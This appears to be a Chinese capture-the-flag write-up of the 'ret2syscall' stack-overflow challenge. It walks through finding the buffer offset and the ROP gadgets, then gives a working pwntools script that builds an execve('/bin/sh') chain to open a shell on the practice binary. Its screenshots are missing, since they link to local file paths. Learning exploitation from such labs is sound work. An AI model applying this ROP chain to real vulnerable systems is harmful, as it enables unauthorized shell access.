前路漫漫

你说明天会是什么样的呢?

0%

ret2syscall

拿到附件检查一下保护,拿到ida中打开

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\1.png)

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\2.png)

将断点下到call函数,此时ESP,EBP地址通过v4的相对索引可以推算出v4的空间,为108,+4为112

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\3.png)

发现代码有‘/bin/sh’,可以用execve()系统函数调用

该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\4.png)

eax地址选择为 0x080bb196

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\5.png)

选择0x0806eb90控制edx,ecx,ebx ret

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\6.png)

找到字符出地址,该程序为32位,系统调用号为0xb,int_0x80来触发execve()系统调用

找到int_0x80地址

![](C:\Users\lenovo\Desktop\pwn’s wp\ret2syscall\7.png)

所有地址都找到了,开始构造exp

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = flat(b'a'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_0x80)
p.sendline(payload)
p.interactive()

通过此题更深一步了解了栈溢出

并且学会了ROPgadgets的使用